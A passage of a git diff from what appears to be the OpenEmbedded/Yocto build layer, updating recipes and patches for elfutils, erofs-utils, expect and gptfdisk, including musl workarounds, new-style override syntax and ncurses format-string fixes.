- src/Makefile.am | 8 ++++----
- 3 files changed, 59 insertions(+), 5 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index f93964c..b87b762 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -494,6 +494,60 @@ else
- fi
- AC_SUBST([argp_LDADD])
-
-+dnl Check if we have fts available from our libc
-+AC_LINK_IFELSE(
-+ [AC_LANG_PROGRAM(
-+ [#if !defined(__x86_64__)
-+ #undef _FILE_OFFSET_BITS
-+ #define _FILE_OFFSET_BITS 32
-+ #endif
-+ #include <fts.h>],
-+ [FTS* fts = 0; return fts_close(fts); return 0;]
-+ )],
-+ [libc_has_fts="true"],
-+ [libc_has_fts="false"]
-+)
-+
-+dnl If our libc doesn't provide fts, then test for libfts
-+if test "$libc_has_fts" = "false" ; then
-+ AC_MSG_WARN("libc does not have fts")
-+ AC_CHECK_LIB([fts], [fts_close], [have_fts="true"], [have_fts="false"])
-+
-+ if test "$have_fts" = "false"; then
-+ AC_MSG_ERROR("no libfts found")
-+ else
-+ fts_LDADD="-lfts"
-+ fi
-+else
-+ fts_LDADD=""
-+fi
-+AC_SUBST([fts_LDADD])
-+
-+dnl Check if we have obstack available from our libc
-+AC_LINK_IFELSE(
-+ [AC_LANG_PROGRAM(
-+ [#include <obstack.h>],
-+ [_obstack_begin(0, 0, 0, NULL, NULL); return 0;]
-+ )],
-+ [libc_has_obstack="true"],
-+ [libc_has_obstack="false"]
-+)
-+
-+dnl If our libc doesn't provide obstack, then test for libobstack
-+if test "$libc_has_obstack" = "false" ; then
-+ AC_MSG_WARN("libc does not have obstack")
-+ AC_CHECK_LIB([obstack], [_obstack_begin], [have_obstack="true"], [have_obstack="false"])
-+
-+ if test "$have_obstack" = "false"; then
-+ AC_MSG_ERROR("no libobstack found")
-+ else
-+ obstack_LDADD="-lobstack"
-+ fi
-+else
-+ obstack_LDADD=""
-+fi
-+AC_SUBST([obstack_LDADD])
-+
- dnl The directories with content.
-
- dnl Documentation.
-diff --git a/libdw/Makefile.am b/libdw/Makefile.am
-index 7a3d532..a541fa3 100644
---- a/libdw/Makefile.am
-+++ b/libdw/Makefile.am
-@@ -108,7 +108,7 @@ am_libdw_pic_a_OBJECTS = $(libdw_a_SOURCES:.c=.os)
- libdw_so_LIBS = libdw_pic.a ../libdwelf/libdwelf_pic.a \
- ../libdwfl/libdwfl_pic.a ../libebl/libebl.a
- libdw_so_DEPS = ../lib/libeu.a ../libelf/libelf.so
--libdw_so_LDLIBS = $(libdw_so_DEPS) -ldl -lz $(argp_LDADD) $(zip_LIBS)
-+libdw_so_LDLIBS = $(libdw_so_DEPS) -ldl -lz $(argp_LDADD) $(fts_LDADD) $(zip_LIBS)
- libdw_so_SOURCES =
- libdw.so$(EXEEXT): $(srcdir)/libdw.map $(libdw_so_LIBS) $(libdw_so_DEPS)
- # The rpath is necessary for libebl because its $ORIGIN use will
-diff --git a/src/Makefile.am b/src/Makefile.am
-index b72f853..2f3dfce 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -69,8 +69,8 @@ ar_no_Wstack_usage = yes
- unstrip_no_Wstack_usage = yes
-
- readelf_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD) -ldl
--nm_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD) -ldl \
-- $(demanglelib)
-+nm_LDADD = $(libdw) $(libebl) $(libelf) $(libeu) $(argp_LDADD) \
-+ $(obstack_LDADD) -ldl $(demanglelib)
- size_LDADD = $(libelf) $(libeu) $(argp_LDADD)
- strip_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD) -ldl
- elflint_LDADD = $(libebl) $(libelf) $(libeu) $(argp_LDADD) -ldl
-@@ -78,9 +78,9 @@ findtextrel_LDADD = $(libdw) $(libelf) $(libeu) $(argp_LDADD)
- addr2line_LDADD = $(libdw) $(libelf) $(libeu) $(argp_LDADD) $(demanglelib)
- elfcmp_LDADD = $(libebl) $(libelf) $(libeu) $(argp_LDADD) -ldl
- objdump_LDADD = $(libasm) $(libebl) $(libelf) $(libeu) $(argp_LDADD) -ldl
--ranlib_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD)
-+ranlib_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD) $(obstack_LDADD)
- strings_LDADD = $(libelf) $(libeu) $(argp_LDADD)
--ar_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD)
-+ar_LDADD = libar.a $(libelf) $(libeu) $(argp_LDADD) $(obstack_LDADD)
- unstrip_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD) -ldl
- stack_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD) -ldl $(demanglelib)
- elfcompress_LDADD = $(libebl) $(libelf) $(libdw) $(libeu) $(argp_LDADD)
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/musl-tests.patch b/meta/recipes-devtools/elfutils/files/musl-tests.patch
deleted file mode 100644
index be35791b1a..0000000000
--- a/meta/recipes-devtools/elfutils/files/musl-tests.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-Fix error on musl:
-
-| ../../elfutils-0.176/tests/elfstrmerge.c: In function 'main':
-| ../../elfutils-0.176/tests/elfstrmerge.c:370:60: error: 'ALLPERMS' undeclared (first use in this function); did you mean 'EPERM'?
-| fdnew = open (fnew, O_WRONLY | O_CREAT, st.st_mode & ALLPERMS);
-| ^~~~~~~~
-| EPERM
-| ../../elfutils-0.176/tests/elfstrmerge.c:370:60: note: each undeclared identifier is reported only once for each function it appears in
-
-Upstream-Status: Inappropriate [workaround in musl]
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Index: elfutils-0.176/tests/elfstrmerge.c
-===================================================================
---- elfutils-0.176.orig/tests/elfstrmerge.c
-+++ elfutils-0.176/tests/elfstrmerge.c
-@@ -33,6 +33,11 @@
- #include ELFUTILS_HEADER(dwelf)
- #include "elf-knowledge.h"
-
-+/* for musl */
-+#ifndef ALLPERMS
-+# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO)/* 07777 */
-+#endif
-+
- /* The original ELF file. */
- static int fd = -1;
- static Elf *elf = NULL;
diff --git a/meta/recipes-devtools/elfutils/files/musl-utils.patch b/meta/recipes-devtools/elfutils/files/musl-utils.patch
deleted file mode 100644
index a8ad931236..0000000000
--- a/meta/recipes-devtools/elfutils/files/musl-utils.patch
+++ /dev/null
@@ -1,165 +0,0 @@
-From 7f5e2fd86d54e0a4d195ec65afb9b411829dff9f Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 23 Aug 2019 10:19:48 +0800
-Subject: [PATCH 3/3] musl-utils
-
-Provide missing defines which otherwise are available on glibc system headers
-
-Alter the error API to match posix version
-use qsort instead of qsort_r which is glibc specific API
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [workaround for musl]
-
-Rebase to 0.177
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- src/arlib.h | 6 ++++++
- src/elfcompress.c | 7 +++++++
- src/readelf.c | 20 ++++++++++++--------
- src/strip.c | 7 +++++++
- src/unstrip.c | 9 +++++++++
- 5 files changed, 41 insertions(+), 8 deletions(-)
-
-diff --git a/src/arlib.h b/src/arlib.h
-index e117166..8326f6c 100644
---- a/src/arlib.h
-+++ b/src/arlib.h
-@@ -29,6 +29,12 @@
- #include <stdint.h>
- #include <sys/types.h>
-
-+#if !defined(ALLPERMS)
-+# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO) /* 07777 */
-+#endif
-+#if !defined(DEFFILEMODE)
-+# define DEFFILEMODE (S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH)/* 0666*/
-+#endif
-
- /* State of -D/-U flags. */
- extern bool arlib_deterministic_output;
-diff --git a/src/elfcompress.c b/src/elfcompress.c
-index 6ba6af4..0c7674b 100644
---- a/src/elfcompress.c
-+++ b/src/elfcompress.c
-@@ -37,6 +37,13 @@
- #include "libeu.h"
- #include "printversion.h"
-
-+#if !defined(ALLPERMS)
-+# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO) /* 07777 */
-+#endif
-+#if !defined(FNM_EXTMATCH)
-+# define FNM_EXTMATCH (0)
-+#endif
-+
- /* Name and version of program. */
- ARGP_PROGRAM_VERSION_HOOK_DEF = print_version;
-
-diff --git a/src/readelf.c b/src/readelf.c
-index 5c02a9b..817562d 100644
---- a/src/readelf.c
-+++ b/src/readelf.c
-@@ -4813,10 +4813,11 @@ listptr_base (struct listptr *p)
- return cudie_base (&cu);
- }
-
-+static const char *listptr_name;
-+
- static int
--compare_listptr (const void *a, const void *b, void *arg)
-+compare_listptr (const void *a, const void *b)
- {
-- const char *name = arg;
- struct listptr *p1 = (void *) a;
- struct listptr *p2 = (void *) b;
-
-@@ -4832,21 +4833,21 @@ compare_listptr (const void *a, const void *b, void *arg)
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different address sizes"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (p1->dwarf64 != p2->dwarf64)
- {
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different offset sizes"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (listptr_base (p1) != listptr_base (p2))
- {
- p1->warned = p2->warned = true;
- error (0, 0,
- gettext ("%s %#" PRIx64 " used with different base addresses"),
-- name, (uint64_t) p1->offset);
-+ listptr_name, (uint64_t) p1->offset);
- }
- if (p1->attr != p2 ->attr)
- {
-@@ -4854,7 +4855,7 @@ compare_listptr (const void *a, const void *b, void *arg)
- error (0, 0,
- gettext ("%s %#" PRIx64
- " used with different attribute %s and %s"),
-- name, (uint64_t) p1->offset, dwarf_attr_name (p2->attr),
-+ listptr_name, (uint64_t) p1->offset, dwarf_attr_name (p2->attr),
- dwarf_attr_name (p2->attr));
- }
- }
-@@ -4926,8 +4927,11 @@ static void
- sort_listptr (struct listptr_table *table, const char *name)
- {
- if (table->n > 0)
-- qsort_r (table->table, table->n, sizeof table->table[0],
-- &compare_listptr, (void *) name);
-+ {
-+ listptr_name = name;
-+ qsort (table->table, table->n, sizeof table->table[0],
-+ &compare_listptr);
-+ }
- }
-
- static bool
-diff --git a/src/strip.c b/src/strip.c
-index 4054c2a..d2d2176 100644
---- a/src/strip.c
-+++ b/src/strip.c
-@@ -46,6 +46,13 @@
- #include <system.h>
- #include <printversion.h>
-
-+#if !defined(ACCESSPERMS)
-+# define ACCESSPERMS (S_IRWXU|S_IRWXG|S_IRWXO) /* 0777 */
-+#endif
-+#if !defined(FNM_EXTMATCH)
-+# define FNM_EXTMATCH (0)
-+#endif
-+
- typedef uint8_t GElf_Byte;
-
- /* Name and version of program. */
-diff --git a/src/unstrip.c b/src/unstrip.c
-index fc87832..21ea6b3 100644
---- a/src/unstrip.c
-+++ b/src/unstrip.c
-@@ -56,6 +56,15 @@
- # define _(str) gettext (str)
- #endif
-
-+#ifndef strndupa
-+#define strndupa(s, n) \
-+ ({const char *__in = (s); \
-+ size_t __len = strnlen (__in, (n)) + 1; \
-+ char *__out = (char *) alloca (__len); \
-+ __out[__len-1] = '\0'; \
-+ (char *) memcpy (__out, __in, __len-1);})
-+#endif
-+
- /* Name and version of program. */
- ARGP_PROGRAM_VERSION_HOOK_DEF = print_version;
-
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/ptest.patch b/meta/recipes-devtools/elfutils/files/ptest.patch
index 35b23f43b3..fe6f272a83 100644
--- a/meta/recipes-devtools/elfutils/files/ptest.patch
+++ b/meta/recipes-devtools/elfutils/files/ptest.patch
@@ -1,4 +1,7 @@
-Changes to allow ptest to run standalone on target:
+From bfbf393e7d5b1b41df85ce1c37e887776c45d529 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Wed, 1 May 2019 16:37:48 +0100
+Subject: [PATCH] Changes to allow ptest to run standalone on target:
a) Run the tests serially
b) Use the standalone test mode which allows the tests to be run in their
@@ -12,11 +15,17 @@ Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Upstream-Status: Inappropriate [oe specific]
-Index: elfutils-0.176/configure.ac
-===================================================================
---- elfutils-0.176.orig/configure.ac
-+++ elfutils-0.176/configure.ac
-@@ -45,7 +45,7 @@ AC_COPYRIGHT([Copyright (C) 1996-2018 Th
+---
+ configure.ac | 2 +-
+ tests/Makefile.am | 2 ++
+ tests/test-subr.sh | 6 ------
+ 3 files changed, 3 insertions(+), 7 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index d345495..67933d1 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -48,7 +48,7 @@ AC_COPYRIGHT([Copyright (C) 1996-2021 The elfutils developers.])
AC_PREREQ(2.63) dnl Minimum Autoconf version required.
dnl We use GNU make extensions; automake 1.10 defaults to -Wportability.
@@ -25,42 +34,20 @@ Index: elfutils-0.176/configure.ac
AM_MAINTAINER_MODE
AM_SILENT_RULES([yes])
-Index: elfutils-0.176/tests/Makefile.am
-===================================================================
---- elfutils-0.176.orig/tests/Makefile.am
-+++ elfutils-0.176/tests/Makefile.am
-@@ -445,10 +445,10 @@ installed_TESTS_ENVIRONMENT = libdir=$(D
- installed_LOG_COMPILER = $(abs_srcdir)/test-wrapper.sh \
- installed $(tests_rpath) \
- '$(program_transform_name)'
--if STANDALONE
-+if !STANDALONE
- TESTS_ENVIRONMENT = $(installed_TESTS_ENVIRONMENT)
- LOG_COMPILER = $(installed_LOG_COMPILER)
--else !STANDALONE
-+else STANDALONE
- TESTS_ENVIRONMENT = LC_ALL=C; LANG=C; VALGRIND_CMD=$(valgrind_cmd); \
- abs_srcdir=$(abs_srcdir); abs_builddir=$(abs_builddir); \
- abs_top_builddir=$(abs_top_builddir); \
-@@ -463,7 +463,7 @@ installcheck-local:
- $(MAKE) $(AM_MAKEFLAGS) \
- TESTS_ENVIRONMENT="$(installed_TESTS_ENVIRONMENT)" \
- LOG_COMPILER="$(installed_LOG_COMPILER)" check-TESTS
--endif !STANDALONE
-+endif STANDALONE
-
- if STANDALONE
- libdw = -ldw
-@@ -612,3 +612,5 @@ check: check-am coverage
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index 72afd0e..a2dfd43 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -698,3 +698,5 @@ check: check-am coverage
coverage:
-$(srcdir)/coverage.sh
endif
+oecheck:
+ $(MAKE) $(AM_MAKEFLAGS) $(check_PROGRAMS)
-Index: elfutils-0.176/tests/test-subr.sh
-===================================================================
---- elfutils-0.176.orig/tests/test-subr.sh
-+++ elfutils-0.176/tests/test-subr.sh
+diff --git a/tests/test-subr.sh b/tests/test-subr.sh
+index 411e5f2..a638ff9 100644
+--- a/tests/test-subr.sh
++++ b/tests/test-subr.sh
@@ -91,12 +91,6 @@ installed_testrun()
program="$1"
shift
diff --git a/meta/recipes-devtools/elfutils/files/run-ptest b/meta/recipes-devtools/elfutils/files/run-ptest
index 81b81f2f5d..d5776fdb53 100644
--- a/meta/recipes-devtools/elfutils/files/run-ptest
+++ b/meta/recipes-devtools/elfutils/files/run-ptest
@@ -3,4 +3,4 @@
#This script is used to run elfutils test suites
cd tests
-make -k runtest-TESTS abs_srcdir=$PWD abs_builddir=$PWD srcdir=$PWD top_srcdir=$PWD/../ abs_top_builddir=$PWD/../ elfutils_testrun=installed elfutils_tests_rpath=no program_transform_name=s,^,eu-,
+make -k installcheck-local CC=gcc abs_srcdir=$PWD abs_builddir=$PWD srcdir=$PWD top_srcdir=$PWD/../ abs_top_builddir=$PWD/../ elfutils_testrun=installed elfutils_tests_rpath=no program_transform_name=s,^,eu-,
diff --git a/meta/recipes-devtools/erofs-utils/erofs-utils/0001-fsck-main.c-add-missing-include.patch b/meta/recipes-devtools/erofs-utils/erofs-utils/0001-fsck-main.c-add-missing-include.patch
new file mode 100644
index 0000000000..c3b3c0bd56
--- /dev/null
+++ b/meta/recipes-devtools/erofs-utils/erofs-utils/0001-fsck-main.c-add-missing-include.patch
@@ -0,0 +1,26 @@
+From 821778286843b8e88d0cd73a97d20b5a2fff8ea1 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 6 Dec 2021 20:12:54 +0100
+Subject: [PATCH] fsck/main.c: add missing include
+
+Otherwise musl C library builds fail with missing S_IFMT/S_IFDIR
+definitions.
+
+Upstream-Status: Submitted [email to linux-erofs@lists.ozlabs.org,hsiangkao@linux.alibaba.com]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ fsck/main.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/fsck/main.c b/fsck/main.c
+index aefa881..ad48e35 100644
+--- a/fsck/main.c
++++ b/fsck/main.c
+@@ -6,6 +6,7 @@
+ #include <stdlib.h>
+ #include <getopt.h>
+ #include <time.h>
++#include <sys/stat.h>
+ #include "erofs/print.h"
+ #include "erofs/io.h"
+ #include "erofs/decompress.h"
diff --git a/meta/recipes-devtools/erofs-utils/erofs-utils_1.4.bb b/meta/recipes-devtools/erofs-utils/erofs-utils_1.4.bb
new file mode 100644
index 0000000000..e5e19e75b4
--- /dev/null
+++ b/meta/recipes-devtools/erofs-utils/erofs-utils_1.4.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Tools for erofs filesystems"
+LICENSE = "GPL-2.0-or-later"
+SECTION = "base"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94fa01670a2a8f2d3ab2de15004e0848"
+HOMEPAGE = "https://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git/tree/README"
+
+SRCREV = "ee97fe5fb77c737df0f77d92ab0d92edd3a11be6"
+SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git;branch=master \
+ file://0001-fsck-main.c-add-missing-include.patch \
+ "
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>(\d+(\.\d+)+))"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "util-linux-libuuid"
+
+inherit pkgconfig autotools
+
+PACKAGECONFIG ??= "lz4"
+PACKAGECONFIG[lz4] = "--enable-lz4,--disable-lz4,lz4"
+
+EXTRA_OECONF = "${PACKAGECONFIG_CONFARGS} --disable-fuse"
+
+CFLAGS:append:powerpc64le = " -D__SANE_USERSPACE_TYPES__"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/expect/expect/0001-fixline1-fix-line-1.patch b/meta/recipes-devtools/expect/expect/0001-fixline1-fix-line-1.patch
new file mode 100644
index 0000000000..9c73d3e579
--- /dev/null
+++ b/meta/recipes-devtools/expect/expect/0001-fixline1-fix-line-1.patch
@@ -0,0 +1,31 @@
+From eef7c44c10de32ba399ab162cb5799fafdce3fa5 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Tue, 15 Mar 2022 22:00:04 +0000
+Subject: [PATCH] fixline1: fix line 1
+
+Ironically, fixline1 needs its first line modified by
+fixline1. We do that, manually.
+
+Upstream-Status: Inappropriate [OE specific cross build setup]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ fixline1 | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/fixline1 b/fixline1
+index 113e9bb..8a38e96 100755
+--- a/fixline1
++++ b/fixline1
+@@ -1,4 +1,7 @@
+-#!expect --
++#!/bin/sh
++# expect won't see the exec \
++exec expect -- "$0" ${1+"$@"}
++
+ # Synopsis: fixline1 newpath < input > output
+ # Author: Don Libes
+
+--
+2.32.0
+
diff --git a/meta/recipes-devtools/expect/expect/01-example-shebang.patch b/meta/recipes-devtools/expect/expect/01-example-shebang.patch
deleted file mode 100644
index 8597f31387..0000000000
--- a/meta/recipes-devtools/expect/expect/01-example-shebang.patch
+++ /dev/null
@@ -1,144 +0,0 @@
-Author: Mike Markley <mike@markley.org>
-Author: Sergei Golovan <sgolovan@debian.org>
-Description: Fixes shebangs in examples (Closes: #152367).
-
-Backported from Debian
-
-Upstream-Status: Pending
-Index: expect5.45/example/beer.exp
-===================================================================
---- expect5.45.orig/example/beer.exp 2006-01-25 13:51:39.000000000 -0800
-+++ expect5.45/example/beer.exp 2013-11-01 17:35:19.817318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect -f
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # 99 bottles of beer on the wall, Expect-style
- # Author: Don Libes <libes@nist.gov>
-Index: expect5.45/example/expectd.proto
-===================================================================
---- expect5.45.orig/example/expectd.proto 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/expectd.proto 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,10 @@
--#!/depot/tcl/src/expect/e --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-+
- # Description: Simple fragment to begin a telnet daemon
- # For more information, see Chapter 17 of "Exploring Expect"
- # Author: Don Libes, NIST
-Index: expect5.45/example/irsh
-===================================================================
---- expect5.45.orig/example/irsh 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/irsh 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Do rsh interactively. For example, consider the following command:
- # rsh <remote> ls -l "|" more
-Index: expect5.45/example/passwd.cgi
-===================================================================
---- expect5.45.orig/example/passwd.cgi 2000-01-06 15:22:07.000000000 -0800
-+++ expect5.45/example/passwd.cgi 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # This is a CGI script to process requests created by the accompanying
- # passwd.html form. This script is pretty basic, although it is
-Index: expect5.45/example/passwdprompt
-===================================================================
---- expect5.45.orig/example/passwdprompt 2003-09-05 12:01:59.000000000 -0700
-+++ expect5.45/example/passwdprompt 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # This script prompts for a passwd from stdin while echoing *'s
-
-Index: expect5.45/example/reprompt
-===================================================================
---- expect5.45.orig/example/reprompt 2000-01-06 15:22:07.000000000 -0800
-+++ expect5.45/example/reprompt 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Name: reprompt
- # Description: reprompt every so often until user enters something
-Index: expect5.45/example/term_expect
-===================================================================
---- expect5.45.orig/example/term_expect 2005-02-15 10:11:31.000000000 -0800
-+++ expect5.45/example/term_expect 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expectk
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec wish "$0" ${1+"$@"}
-+
-+package require Expect
-
- # Name: tkterm - terminal emulator using Expect and Tk text widget, v3.0
- # Author: Don Libes, July '94
-Index: expect5.45/example/vrfy
-===================================================================
---- expect5.45.orig/example/vrfy 2010-07-02 09:03:31.000000000 -0700
-+++ expect5.45/example/vrfy 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,9 @@
--#!/depot/path/expect -f
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-
-
- # separate address into user and host
-Index: expect5.45/example/xrlogin
-===================================================================
---- expect5.45.orig/example/xrlogin 2000-01-06 15:22:08.000000000 -0800
-+++ expect5.45/example/xrlogin 2013-11-01 17:35:19.821318341 -0700
-@@ -1,4 +1,10 @@
--#!/depot/path/expect --
-+#!/bin/sh
-+# -*- tcl -*-
-+# The next line is executed by /bin/sh, but not tcl \
-+exec tclsh "$0" ${1+"$@"}
-+
-+package require Expect
-+
- # xrlogin - rlogin but with current DISPLAY
- #
- # You can extend this idea to save any arbitrary information across rlogin
diff --git a/meta/recipes-devtools/expect/expect_5.45.4.bb b/meta/recipes-devtools/expect/expect_5.45.4.bb
index 39ae6151f6..e22fa140d5 100644
--- a/meta/recipes-devtools/expect/expect_5.45.4.bb
+++ b/meta/recipes-devtools/expect/expect_5.45.4.bb
@@ -14,18 +14,18 @@ SECTION = "devel"
LIC_FILES_CHKSUM = "file://license.terms;md5=fbf2de7e9102505b1439db06fc36ce5c"
DEPENDS += "tcl"
-RDEPENDS_${PN} = "tcl"
+RDEPENDS:${PN} = "tcl"
inherit autotools update-alternatives
SRC_URI = "${SOURCEFORGE_MIRROR}/expect/Expect/${PV}/${BPN}${PV}.tar.gz \
file://0001-configure.in.patch \
file://0002-tcl.m4.patch \
- file://01-example-shebang.patch \
file://0001-expect-install-scripts-without-using-the-fixline1-tc.patch \
file://0001-Resolve-string-formatting-issues.patch \
file://0001-expect-Fix-segfaults-if-Tcl-is-built-with-stubs-and-.patch \
file://0001-exp_main_sub.c-Use-PATH_MAX-for-path.patch \
+ file://0001-fixline1-fix-line-1.patch \
"
SRC_URI[md5sum] = "00fce8de158422f5ccd2666512329bd2"
SRC_URI[sha256sum] = "49a7da83b0bdd9f46d04a04deec19c7767bb9a323e40c4781f89caf760b92c34"
@@ -35,11 +35,10 @@ UPSTREAM_CHECK_REGEX = "/Expect/(?P<pver>(\d+[\.\-_]*)+)/"
S = "${WORKDIR}/${BPN}${PV}"
-do_install_append() {
+do_install:append() {
install -d ${D}${libdir}
install -m 0755 ${D}${libdir}/expect${PV}/libexpect*.so ${D}${libdir}/
install -m 0755 ${S}/fixline1 ${D}${libdir}/expect${PV}/
- install -m 0755 ${S}/example/* ${D}${libdir}/expect${PV}/
rm ${D}${libdir}/expect${PV}/libexpect*.so
sed -e 's|$dir|${libdir}|' -i ${D}${libdir}/expect${PV}/pkgIndex.tcl
}
@@ -47,7 +46,7 @@ do_install_append() {
# Apparently the public Tcl headers are only in /usr/include/tcl8.6
# when building for the target and nativesdk.
TCL_INCLUDE_PATH = "--with-tclinclude=${STAGING_INCDIR}/tcl8.6"
-TCL_INCLUDE_PATH_class-native = ""
+TCL_INCLUDE_PATH:class-native = ""
EXTRA_OECONF += "--with-tcl=${STAGING_LIBDIR} \
--enable-shared \
@@ -57,12 +56,12 @@ EXTRA_OECONF += "--with-tcl=${STAGING_LIBDIR} \
"
EXTRA_OEMAKE_install = " 'SCRIPTS=' "
-ALTERNATIVE_${PN} = "mkpasswd"
+ALTERNATIVE:${PN} = "mkpasswd"
ALTERNATIVE_LINK_NAME[mkpasswd] = "${bindir}/mkpasswd"
# Use lower priority than busybox's mkpasswd (created when built with CONFIG_CRYPTPW)
ALTERNATIVE_PRIORITY[mkpasswd] = "40"
-FILES_${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
+FILES:${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
${includedir}/expect.h \
${includedir}/expect_tcl.h \
${includedir}/expect_comm.h \
@@ -70,7 +69,7 @@ FILES_${PN}-dev = "${libdir_native}/expect${PV}/libexpect*.so \
${includedir}/*.h \
"
-FILES_${PN} += "${libdir}/libexpect${PV}.so \
+FILES:${PN} += "${libdir}/libexpect${PV}.so \
${libdir}/expect${PV}/* \
"
diff --git a/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correct-ncurses-6.3-errors.patch b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correct-ncurses-6.3-errors.patch
new file mode 100644
index 0000000000..cbd1365080
--- /dev/null
+++ b/meta/recipes-devtools/fdisk/gptfdisk/0001-gptcurses-correct-ncurses-6.3-errors.patch
@@ -0,0 +1,99 @@
+From e301f7dd650c9e56f954a7c49661d938079e1a9b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 17:27:51 +0200
+Subject: [PATCH] gptcurses: correct ncurses 6.3 errors
+
+Upstream-Status: Submitted [by email to rodsmith@rodsbooks.com]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ gptcurses.cc | 28 ++++++++++++++--------------
+ 1 file changed, 14 insertions(+), 14 deletions(-)
+
+diff --git a/gptcurses.cc b/gptcurses.cc
+index d0de024..70be999 100644
+--- a/gptcurses.cc
++++ b/gptcurses.cc
+@@ -235,22 +235,22 @@ Space* GPTDataCurses::ShowSpace(int spaceNum, int lineNum) {
+ ClearLine(lineNum);
+ if (space->partNum == -1) { // space is empty
+ move(lineNum, 12);
+- printw(BytesToIeee((space->lastLBA - space->firstLBA + 1), blockSize).c_str());
++ printw("%s",BytesToIeee((space->lastLBA - space->firstLBA + 1), blockSize).c_str());
+ move(lineNum, 24);
